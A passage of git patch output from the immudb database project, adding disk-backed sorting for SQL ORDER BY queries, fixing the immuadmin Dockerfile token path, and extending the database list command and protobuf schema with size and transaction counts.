s.colPosBySelector, + reader: bufio.NewReader(io.NewSectionReader(currFile, 0, int64(s.tempFileSize))), + }, nil +} + +func (s *fileSorter) mergeChunks(lr, rr *fileRowReader, writer io.Writer) error { + var err error + var lrAtEOF bool + var t1, t2 Tuple + + for { + if t1 == nil { + t1, err = lr.ReadValues() + if err == io.EOF { + lrAtEOF = true + break + } + + if err != nil { + return err + } + } + + if t2 == nil { + t2, err = rr.ReadValues() + if err == io.EOF { + break + } + + if err != nil { + return err + } + } + + var rawData []byte + if s.cmp(t1, t2) { + rawData = lr.rowBuf.Bytes() + t1 = nil + } else { + rawData = rr.rowBuf.Bytes() + t2 = nil + } + + _, err := writer.Write(rawData) + if err != nil { + return err + } + } + + readerToCopy := lr + if lrAtEOF { + readerToCopy = rr + } + + _, err = writer.Write(readerToCopy.rowBuf.Bytes()) + if err != nil { + return err + } + + _, err = io.Copy(writer, readerToCopy.reader) + return err +} + +type resultReader interface { + Read() (*Row, error) +} + +type bufferResultReader struct { + sortBuf []*Row + nextIdx int +} + +func (r *bufferResultReader) Read() (*Row, error) { + if r.nextIdx == len(r.sortBuf) { + return nil, ErrNoMoreRows + } + + row := r.sortBuf[r.nextIdx] + r.nextIdx++ + return row, nil +} + +type fileRowReader struct { + colPosBySelector map[string]int + colTypes []SQLValueType + reader io.Reader + rowBuf bytes.Buffer +} + +func (r *fileRowReader) ReadValues() ([]TypedValue, error) { + var size uint16 + err := binary.Read(r.reader, binary.BigEndian, &size) + if err != nil { + return nil, err + } + + r.rowBuf.Reset() + + binary.Write(&r.rowBuf, binary.BigEndian, &size) + + _, err = io.CopyN(&r.rowBuf, r.reader, int64(size)) + if err != nil { + return nil, err + } + + data := r.rowBuf.Bytes() + return decodeValues(data[2:], r.colTypes) +} + +func (r *fileRowReader) Read() (*Row, error) { + values, err := r.ReadValues() + if err == io.EOF { + return nil, ErrNoMoreRows + } + if err != nil { + return nil, err + } + + valuesBySelector := make(map[string]TypedValue) + for sel, pos := range r.colPosBySelector { + valuesBySelector[sel] = values[pos] + } + + row := &Row{ + ValuesByPosition: values, + ValuesBySelector: valuesBySelector, + } + return row, nil +} + +func decodeValues(data []byte, cols []string) ([]TypedValue, error) { + values := make([]TypedValue, len(cols)) + + var voff int + for i, col := range cols { + v, n, err := DecodeValue(data[voff:], col) + if err != nil { + return nil, err + } + voff += n + + values[i] = v + } + return values, nil +} + +func (s *fileSorter) sortAndFlushBuffer() error { + s.sortBuffer() + return s.flushBuffer() +} + +func (s *fileSorter) sortBuffer() { + buf := s.sortBuf[:s.nextIdx] + + sort.Slice(buf, func(i, j int) bool { + r1 := buf[i] + r2 := buf[j] + + return s.cmp(r1.ValuesByPosition, r2.ValuesByPosition) + }) +} + +func (s *fileSorter) flushBuffer() error { + writer, err := s.tempFileWriter() + if err != nil { + return err + } + + var chunkSize uint64 + for _, row := range s.sortBuf[:s.nextIdx] { + data, err := encodeRow(row) + if err != nil { + return err + } + + _, err = writer.Write(data) + if err != nil { + return err + } + + chunkSize += uint64(len(data)) + } + + s.chunksToMerge = append(s.chunksToMerge, sortedChunk{ + offset: s.tempFileSize, + size: chunkSize, + }) + s.tempFileSize += chunkSize + return nil +} + +func (s *fileSorter) tempFileWriter() (*bufio.Writer, error) { + if s.writer != nil { + return s.writer, nil + } + file, err := s.tx.createTempFile() + if err != nil { + return nil, err + } + s.tempFile = file + s.writer = bufio.NewWriter(file) + return s.writer, nil +} + +func encodeRow(r *Row) ([]byte, error) { + var buf bytes.Buffer + buf.Write([]byte{0, 0}) // make room for size field + + for _, v := range r.ValuesByPosition { + rawValue, err := EncodeValue(v, v.Type(), -1) + if err != nil { + return nil, err + } + buf.Write(rawValue) + } + + data := buf.Bytes() + size := uint16(len(data) - 2) + binary.BigEndian.PutUint16(data, size) + + return data, nil +} diff --git a/embedded/sql/options.go b/embedded/sql/options.go index b00cbb05d2..ed0edbf36f 100644 --- a/embedded/sql/options.go +++ b/embedded/sql/options.go @@ -22,10 +22,14 @@ import ( "github.com/codenotary/immudb/embedded/store" ) -var defaultDistinctLimit = 1 << 20 // ~ 1mi rows +const ( + defaultDistinctLimit = 1 << 20 // ~ 1mi rows + defaultSortBufferSize = 1024 +) type Options struct { prefix []byte + sortBufferSize int distinctLimit int autocommit bool lazyIndexConstraintValidation bool @@ -35,7 +39,8 @@ type Options struct { func DefaultOptions() *Options { return &Options{ - distinctLimit: defaultDistinctLimit, + sortBufferSize: defaultSortBufferSize, + distinctLimit: defaultDistinctLimit, } } @@ -48,6 +53,10 @@ func (opts *Options) Validate() error { return fmt.Errorf("%w: invalid DistinctLimit value", store.ErrInvalidOptions) } + if opts.sortBufferSize <= 0 { + return fmt.Errorf("%w: invalid SortBufferSize value", store.ErrInvalidOptions) + } + return nil } @@ -75,3 +84,11 @@ func (opts *Options) WithMultiDBHandler(multidbHandler MultiDBHandler) *Options opts.multidbHandler = multidbHandler return opts } + +// WithSortBufferSize specifies the size of the buffer used to sort rows in-memory +// when executing queries containing an ORDER BY clause. The default value is 1024. +// Increasing this value improves sorting speed at the expense of higher memory usage. +func (opts *Options) WithSortBufferSize(size int) *Options { + opts.sortBufferSize = size + return opts +} diff --git a/embedded/sql/options_test.go b/embedded/sql/options_test.go index 78e08aa4b1..d751523601 100644 --- a/embedded/sql/options_test.go +++ b/embedded/sql/options_test.go @@ -42,5 +42,11 @@ func TestOptions(t *testing.T) { opts.WithAutocommit(true) require.True(t, opts.autocommit) + opts.WithSortBufferSize(0) + require.Error(t, opts.Validate()) + + opts.WithSortBufferSize(defaultSortBufferSize) + require.Equal(t, opts.sortBufferSize, defaultSortBufferSize) + require.NoError(t, opts.Validate()) } diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index c59e1a6f65..9817423803 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -45,6 +45,7 @@ type ScanSpecs struct { rangesByColID map[uint32]*typedValueRange IncludeHistory bool DescOrder bool + SortRequired bool } type Row struct { diff --git a/embedded/sql/sort_reader.go b/embedded/sql/sort_reader.go new file mode 100644 index 0000000000..62c8a97666 --- /dev/null +++ b/embedded/sql/sort_reader.go @@ -0,0 +1,208 @@ +/* +Copyright 2024 Codenotary Inc. All rights reserved. + +SPDX-License-Identifier: BUSL-1.1 +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://mariadb.com/bsl11/ + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package sql + +import ( + "context" +) + +type sortRowReader struct { + rowReader RowReader + selectors []Selector + orderByDescriptors []ColDescriptor + sortKeysPositions []int + desc bool + sorter fileSorter + + resultReader resultReader +} + +func newSortRowReader(rowReader RowReader, selectors []Selector, desc bool) (*sortRowReader, error) { + if rowReader == nil || len(selectors) == 0 { + return nil, ErrIllegalArguments + } + + descriptors, err := rowReader.Columns(context.Background()) + if err != nil { + return nil, err + } + + colPosBySelector, err := getColPositionsBySelector(descriptors) + if err != nil { + return nil, err + } + + colTypes, err := getColTypes(rowReader) + if err != nil { + return nil, err + } + + sortKeysPositions := getSortKeysPositions(colPosBySelector, selectors, rowReader.TableAlias()) + + tx := rowReader.Tx() + sr := &sortRowReader{ + rowReader: rowReader, + orderByDescriptors: getOrderByDescriptors(descriptors, sortKeysPositions), + selectors: selectors, + desc: desc, + sortKeysPositions: sortKeysPositions, + sorter: fileSorter{ + colPosBySelector: colPosBySelector, + colTypes: colTypes, + tx: tx, + sortBufSize: tx.engine.sortBufferSize, + sortBuf: make([]*Row, tx.engine.sortBufferSize), + }, + } + + sr.sorter.cmp = func(t1, t2 Tuple) bool { + k1 := sr.extractSortKey(t1) + k2 := sr.extractSortKey(t2) + + res, _ := k1.Compare(k2) + if desc { + return res > 0 + } + return res <= 0 + } + return sr, nil +} + +func getColTypes(r RowReader) ([]string, error) { + descriptors, err := r.Columns(context.Background()) + if err != nil { + return nil, err + } + + cols := make([]string, len(descriptors)) + for i, desc := range descriptors { + cols[i] = desc.Type + } + return cols, err +} + +func getSortKeysPositions(colPosBySelector map[string]int, selectors []Selector, tableAlias string) []int { + sortKeysPositions := make([]int, len(selectors)) + for i, sel := range selectors { + aggFn, table, col := sel.resolve(tableAlias) + encSel := EncodeSelector(aggFn, table, col) + pos := colPosBySelector[encSel] + sortKeysPositions[i] = pos + } + return sortKeysPositions +} + +func getColPositionsBySelector(desc []ColDescriptor) (map[string]int, error) { + colPositionsBySelector := make(map[string]int) + for i, desc := range desc { + colPositionsBySelector[desc.Selector()] = i + } + return colPositionsBySelector, nil +} + +func (sr *sortRowReader) extractSortKey(t Tuple) Tuple { + sortKey := make([]TypedValue, len(sr.sortKeysPositions)) + for i, pos := range sr.sortKeysPositions { + sortKey[i] = t[pos] + } + return sortKey +} + +func getOrderByDescriptors(descriptors []ColDescriptor, sortKeysPositions []int) []ColDescriptor { + orderByDescriptors := make([]ColDescriptor, len(sortKeysPositions)) + for i, pos := range sortKeysPositions { + orderByDescriptors[i] = descriptors[pos] + } + return orderByDescriptors +} + +func (sr *sortRowReader) onClose(callback func()) { + sr.rowReader.onClose(callback) +} + +func (sr *sortRowReader) Tx() *SQLTx { + return sr.rowReader.Tx() +} + +func (sr *sortRowReader) TableAlias() string { + return sr.rowReader.TableAlias() +} + +func (sr *sortRowReader) Parameters() map[string]interface{} { + return sr.rowReader.Parameters() +} + +func (sr *sortRowReader) OrderBy() []ColDescriptor { + return sr.orderByDescriptors +} + +func (sr *sortRowReader) ScanSpecs() *ScanSpecs { + return sr.rowReader.ScanSpecs() +} + +func (sr *sortRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { + return sr.rowReader.Columns(ctx) +} + +func (sr *sortRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { + return sr.rowReader.colsBySelector(ctx) +} + +func (sr *sortRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { + return sr.rowReader.InferParameters(ctx, params) +} + +func (sr *sortRowReader) Read(ctx context.Context) (*Row, error) { + if sr.resultReader == nil { + reader, err := sr.readAndSort(ctx) + if err != nil { + return nil, err + } + sr.resultReader = reader + } + return sr.resultReader.Read() +} + +func (sr *sortRowReader) readAndSort(ctx context.Context) (resultReader, error) { + err := sr.readAll(ctx) + if err != nil { + return nil, err + } + return sr.sorter.finalize() +} + +func (sr *sortRowReader) readAll(ctx context.Context) error { + for { + row, err := sr.rowReader.Read(ctx) + if err == ErrNoMoreRows { + return nil + } + + if err != nil { + return err + } + + err = sr.sorter.update(row) + if err != nil { + return err + } + } +} + +func (sr *sortRowReader) Close() error { + return sr.rowReader.Close() +} diff --git a/embedded/sql/sort_reader_test.go b/embedded/sql/sort_reader_test.go new file mode 100644 index 0000000000..c7aa0599b3 --- /dev/null +++ b/embedded/sql/sort_reader_test.go @@ -0,0 +1,73 @@ +/* +Copyright 2024 Codenotary Inc. All rights reserved. + +SPDX-License-Identifier: BUSL-1.1 +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://mariadb.com/bsl11/ + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package sql + +import ( + "context" + "testing" + + "github.com/codenotary/immudb/embedded/store" + "github.com/stretchr/testify/require" +) + +func TestSortRowReader(t *testing.T) { + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) + require.NoError(t, err) + + engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) + require.NoError(t, err) + + _, err = newSortRowReader(nil, nil, false) + require.ErrorIs(t, err, ErrIllegalArguments) + + tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), tx, "CREATE TABLE table1(id INTEGER, number INTEGER, PRIMARY KEY id)", nil) + require.NoError(t, err) + + tx, err = engine.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + + defer tx.Cancel() + + table := tx.catalog.tables[0] + + r, err := newRawRowReader(tx, nil, table, period{}, "", &ScanSpecs{Index: table.primaryIndex, SortRequired: true}) + require.NoError(t, err) + + sr, err := newSortRowReader(r, []Selector{&ColSelector{col: "number"}}, false) + require.NoError(t, err) + + orderBy := sr.OrderBy() + require.NotNil(t, orderBy) + require.Len(t, orderBy, 1) + require.Equal(t, "number", orderBy[0].Column) + require.Equal(t, "table1", orderBy[0].Table) + + cols, err := sr.Columns(context.Background()) + require.NoError(t, err) + require.Len(t, cols, 2) + + require.Empty(t, sr.Parameters()) + + scanSpecs := sr.ScanSpecs() + require.NotNil(t, scanSpecs) + require.NotNil(t, scanSpecs.Index) + require.True(t, scanSpecs.SortRequired) + require.True(t, scanSpecs.Index.IsPrimary()) +} diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 683818aa86..cef090dc32 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -19,6 +19,7 @@ package sql import ( "context" "errors" + "os" "time" "github.com/codenotary/immudb/embedded/multierr" @@ -31,7 +32,8 @@ type SQLTx struct { opts *TxOptions - tx *store.OngoingTx + tx *store.OngoingTx + tempFiles []*os.File catalog *Catalog // in-mem catalog @@ -115,10 +117,14 @@ func (sqlTx *SQLTx) getWithPrefix(ctx context.Context, prefix, neq []byte) (key } func (sqlTx *SQLTx) Cancel() error { + defer sqlTx.removeTempFiles() + return sqlTx.tx.Cancel() } func (sqlTx *SQLTx) Commit(ctx context.Context) error { + defer sqlTx.removeTempFiles() + err := sqlTx.tx.RequireMVCCOnFollowingTxs(sqlTx.mutatedCatalog) if err != nil { return err @@ -157,3 +163,26 @@ func (sqlTx *SQLTx) addOnCommittedCallback(callback onCommittedCallback) error { return nil } + +func (sqlTx *SQLTx) createTempFile() (*os.File, error) { + tempFile, err := os.CreateTemp("", "immudb") + if err == nil { + sqlTx.tempFiles = append(sqlTx.tempFiles, tempFile) + } + return tempFile, err +} + +func (sqlTx *SQLTx) removeTempFiles() error { + for _, file := range sqlTx.tempFiles { + err := file.Close() + if err != nil { + return err + } + + err = os.Remove(file.Name()) + if err != nil { + return err + } + } + return nil +} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index a939e4f5cd..fb90b0f9c9 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -1553,6 +1553,20 @@ type TypedValue interface { IsNull() bool } +type Tuple []TypedValue + +func (t Tuple) Compare(other Tuple) (int, error) { + i := 0 + for i < len(t) && i < len(other) { + res, err := t[i].Compare(other[i]) + if err != nil || res != 0 { + return res, err + } + i++ + } + return len(t) - len(other), nil +} + func NewNull(t SQLValueType) *NullValue { return &NullValue{t: t} } @@ -2438,30 +2452,6 @@ func (stmt *SelectStmt) execAt(ctx context.Context, tx *SQLTx, params map[string if len(stmt.orderBy) > 1 { return nil, ErrLimitedOrderBy } - - if len(stmt.orderBy) > 0 { - tableRef, ok := stmt.ds.(*tableRef) - if !ok { - return nil, ErrLimitedOrderBy - } - - table, err := tableRef.referencedTable(tx) - if err != nil { - return nil, err - } - - colName := stmt.orderBy[0].sel.col - - indexed, err := table.IsIndexed(colName) - if err != nil { - return nil, err - } - - if !indexed { - return nil, ErrLimitedOrderBy - } - } - return tx, nil } @@ -2493,6 +2483,13 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin rowReader = newConditionalRowReader(rowReader, stmt.where) } + if scanSpecs.SortRequired { + rowReader, err = newSortRowReader(rowReader, stmt.orderBySelectors(), scanSpecs.DescOrder) + if err != nil { + return nil, err + } + } + containsAggregations := false for _, sel := range stmt.selectors { _, containsAggregations = sel.(*AggColSelector) @@ -2596,9 +2593,15 @@ func (stmt *SelectStmt) Alias() string { } func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) (*ScanSpecs, error) { + sortingRequired := len(stmt.orderBy) > 0 + descOrder := sortingRequired && stmt.orderBy[0].descOrder + tableRef, isTableRef := stmt.ds.(*tableRef) if !isTableRef { - return nil, nil + return &ScanSpecs{ + SortRequired: sortingRequired, + DescOrder: descOrder, + }, nil } table, err := tableRef.referencedTable(tx) @@ -2614,39 +2617,12 @@ func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) ( } } - var preferredIndex *Index - - if len(stmt.indexOn) > 0 { - cols := make([]*Column, len(stmt.indexOn)) - - for i, colName := range stmt.indexOn { - col, err := table.GetColumnByName(colName) - if err != nil { - return nil, err - } - - cols[i] = col - } - - index, err := table.GetIndexByName(indexName(table.name, cols)) - if err != nil { - return nil, err - } - - preferredIndex = index + preferredIndex, err := stmt.selectIndex(table) + if err != nil { + return nil, err } var sortingIndex *Index - var descOrder bool - - if stmt.orderBy == nil { - if preferredIndex == nil { - sortingIndex = table.primaryIndex - } else { - sortingIndex = preferredIndex - } - } - if len(stmt.orderBy) > 0 { col, err := table.GetColumnByName(stmt.orderBy[0].sel.col) if err != nil { @@ -2657,16 +2633,19 @@ func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) ( if idx.sortableUsing(col.id, rangesByColID) { if preferredIndex == nil || idx.id == preferredIndex.id { sortingIndex = idx + sortingRequired = false break } } } - - descOrder = stmt.orderBy[0].descOrder } if sortingIndex == nil { - return nil, ErrNoAvailableIndex + if preferredIndex == nil { + sortingIndex = table.primaryIndex + } else { + sortingIndex = preferredIndex + } } if tableRef.history && !sortingIndex.IsPrimary() { @@ -2678,9 +2657,39 @@ func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) ( rangesByColID: rangesByColID, IncludeHistory: tableRef.history, DescOrder: descOrder, + SortRequired: sortingRequired, }, nil } +func (stmt *SelectStmt) selectIndex(table *Table) (*Index, error) { + if len(stmt.indexOn) == 0 { + return nil, nil + } + + cols := make([]*Column, len(stmt.indexOn)) + for i, colName := range stmt.indexOn { + col, err := table.GetColumnByName(colName) + if err != nil { + return nil, err + } + + cols[i] = col + } + return table.GetIndexByName(indexName(table.name, cols)) +} + +func (stmt *SelectStmt) orderBySelectors() []Selector { + var selectors []Selector + for _, col := range stmt.orderBy { + sel := &ColSelector{ + table: col.sel.table, + col: col.sel.col, + } + selectors = append(selectors, sel) + } + return selectors +} + type UnionStmt struct { distinct bool left, right DataSource From 865f4760107fbac6ce69527c6b2c129fe7f92f52 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Thu, 25 Apr 2024 00:15:39 +0200 Subject: [PATCH 1008/1062] Fix env in Dockerfile.immuadmin and issue in connect() function --- build/Dockerfile.immuadmin | 7 ++++--- cmd/immuadmin/command/commandline.go | 3 +-- pkg/client/tokenservice/file.go | 6 +++--- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/build/Dockerfile.immuadmin b/build/Dockerfile.immuadmin index 05905cacfa..ebda4847c9 100644 --- a/build/Dockerfile.immuadmin +++ b/build/Dockerfile.immuadmin @@ -11,16 +11,17 @@ COPY --from=build /src/immuadmin /usr/local/bin/immuadmin ARG IMMU_UID="3322" ARG IMMU_GID="3322" +ARG IMMUADMIN_TOKENFILE_PATH=/var/lib/immudb ENV IMMUADMIN_IMMUDB_ADDRESS="127.0.0.1" \ IMMUADMIN_IMMUDB_PORT="3322" \ IMMUADMIN_MTLS="false" \ - IMMUADMIN_TOKENFILE="/var/lib/immudb" + IMMUADMIN_TOKENFILE="$IMMUADMIN_TOKENFILE_PATH/token_admin" RUN addgroup --system --gid $IMMU_GID immu && \ adduser --system --uid $IMMU_UID --no-create-home --ingroup immu immu && \ - mkdir -p "$IMMUADMIN_TOKENFILE" && \ - chown -R immu:immu "$IMMUADMIN_TOKENFILE" && \ + mkdir -p "$IMMUADMIN_TOKENFILE_PATH" && \ + chown -R immu:immu "$IMMUADMIN_TOKENFILE_PATH" && \ chmod +x /usr/local/bin/immuadmin USER immu diff --git a/cmd/immuadmin/command/commandline.go b/cmd/immuadmin/command/commandline.go index 77660c6aa4..adab90fb63 100644 --- a/cmd/immuadmin/command/commandline.go +++ b/cmd/immuadmin/command/commandline.go @@ -118,9 +118,8 @@ func (cl *commandline) connect(cmd *cobra.Command, args []string) (err error) { if cl.immuClient, err = client.NewImmuClient(cl.options); err != nil { cl.quit(err) } - cl.immuClient.WithTokenService(tokenservice.NewFileTokenService().WithTokenFileName("token_admin")) + cl.immuClient.WithTokenService(cl.ts) return - } func (cl *commandline) checkLoggedIn(cmd *cobra.Command, args []string) (err error) { diff --git a/pkg/client/tokenservice/file.go b/pkg/client/tokenservice/file.go index 1ef2baaa04..9d6999b2f4 100644 --- a/pkg/client/tokenservice/file.go +++ b/pkg/client/tokenservice/file.go @@ -32,7 +32,7 @@ type file struct { hds homedir.HomedirService } -//NewFileTokenService ... +// NewFileTokenService ... func NewFileTokenService() *file { return &file{ tokenFileName: "token", @@ -50,7 +50,7 @@ func (ts *file) GetToken() (string, error) { return token, nil } -//SetToken ... +// SetToken ... func (ts *file) SetToken(database string, token string) error { ts.Lock() defer ts.Unlock() @@ -78,7 +78,7 @@ func (ts *file) DeleteToken() error { return ts.hds.DeleteFileFromUserHomeDir(ts.tokenFileName) } -//IsTokenPresent ... +// IsTokenPresent ... func (ts *file) IsTokenPresent() (bool, error) { ts.Lock() defer ts.Unlock() From 6a5d096d839c943eb2dded0e0c65e9fd207dae83 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Mon, 22 Apr 2024 12:48:17 +0200 Subject: [PATCH 1009/1062] Enrich output of database list command Signed-off-by: Stefano Scafiti --- cmd/immuadmin/command/database.go | 12 +- pkg/api/schema/schema.pb.go | 1215 +++++++++++++++-------------- pkg/api/schema/schema.proto | 10 +- pkg/server/server.go | 70 +- 4 files changed, 676 insertions(+), 631 deletions(-) diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index 36a7a9e950..e13e359ffa 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -18,9 +18,11 @@ package immuadmin import ( "fmt" + "strconv" "strings" "time" + "github.com/codenotary/immudb/cmd/helper" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/tbtree" @@ -106,10 +108,10 @@ func (cl *commandline) database(cmd *cobra.Command) { } c.PrintTable( cmd.OutOrStdout(), - []string{"Database Name", "Status"}, + []string{"Database Name", "Status", "Is Replica", "Disk Size", "Transactions"}, len(resp.Databases), func(i int) []string { - row := make([]string, 2) + row := make([]string, 5) db := resp.Databases[i] @@ -124,6 +126,12 @@ func (cl *commandline) database(cmd *cobra.Command) { row[1] += "UNLOADED" } + isReplica := db.Settings.ReplicationSettings.Replica != nil && db.Settings.ReplicationSettings.Replica.Value + + row[2] = strings.ToUpper(strconv.FormatBool(isReplica)) + row[3] = helper.FormatByteSize(db.DiskSize) + row[4] = strconv.FormatUint(db.NumTransactions, 10) + return row }, fmt.Sprintf("%d database(s)", len(resp.Databases)), diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 528b62dfd6..521fe7c146 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -7436,7 +7436,7 @@ type DatabaseListResponseV2 struct { unknownFields protoimpl.UnknownFields // Database list with current database settings - Databases []*DatabaseWithSettings `protobuf:"bytes,1,rep,name=databases,proto3" json:"databases,omitempty"` + Databases []*DatabaseInfo `protobuf:"bytes,1,rep,name=databases,proto3" json:"databases,omitempty"` } func (x *DatabaseListResponseV2) Reset() { @@ -7471,14 +7471,14 @@ func (*DatabaseListResponseV2) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{103} } -func (x *DatabaseListResponseV2) GetDatabases() []*DatabaseWithSettings { +func (x *DatabaseListResponseV2) GetDatabases() []*DatabaseInfo { if x != nil { return x.Databases } return nil } -type DatabaseWithSettings struct { +type DatabaseInfo struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -7489,10 +7489,14 @@ type DatabaseWithSettings struct { Settings *DatabaseNullableSettings `protobuf:"bytes,2,opt,name=settings,proto3" json:"settings,omitempty"` // If true, this database is currently loaded into memory Loaded bool `protobuf:"varint,3,opt,name=loaded,proto3" json:"loaded,omitempty"` + // database disk size + DiskSize uint64 `protobuf:"varint,4,opt,name=diskSize,proto3" json:"diskSize,omitempty"` + // total number of transactions + NumTransactions uint64 `protobuf:"varint,5,opt,name=numTransactions,proto3" json:"numTransactions,omitempty"` } -func (x *DatabaseWithSettings) Reset() { - *x = DatabaseWithSettings{} +func (x *DatabaseInfo) Reset() { + *x = DatabaseInfo{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[104] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -7500,13 +7504,13 @@ func (x *DatabaseWithSettings) Reset() { } } -func (x *DatabaseWithSettings) String() string { +func (x *DatabaseInfo) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DatabaseWithSettings) ProtoMessage() {} +func (*DatabaseInfo) ProtoMessage() {} -func (x *DatabaseWithSettings) ProtoReflect() protoreflect.Message { +func (x *DatabaseInfo) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[104] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -7518,32 +7522,46 @@ func (x *DatabaseWithSettings) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DatabaseWithSettings.ProtoReflect.Descriptor instead. -func (*DatabaseWithSettings) Descriptor() ([]byte, []int) { +// Deprecated: Use DatabaseInfo.ProtoReflect.Descriptor instead. +func (*DatabaseInfo) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{104} } -func (x *DatabaseWithSettings) GetName() string { +func (x *DatabaseInfo) GetName() string { if x != nil { return x.Name } return "" } -func (x *DatabaseWithSettings) GetSettings() *DatabaseNullableSettings { +func (x *DatabaseInfo) GetSettings() *DatabaseNullableSettings { if x != nil { return x.Settings } return nil } -func (x *DatabaseWithSettings) GetLoaded() bool { +func (x *DatabaseInfo) GetLoaded() bool { if x != nil { return x.Loaded } return false } +func (x *DatabaseInfo) GetDiskSize() uint64 { + if x != nil { + return x.DiskSize + } + return 0 +} + +func (x *DatabaseInfo) GetNumTransactions() uint64 { + if x != nil { + return x.NumTransactions + } + return 0 +} + type Chunk struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -9932,613 +9950,616 @@ var file_schema_proto_rawDesc = []byte{ 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x73, 0x74, 0x56, 0x32, 0x22, 0x53, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, - 0x41, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, - 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, + 0x39, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x52, + 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0xc5, 0x01, 0x0a, 0x0c, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 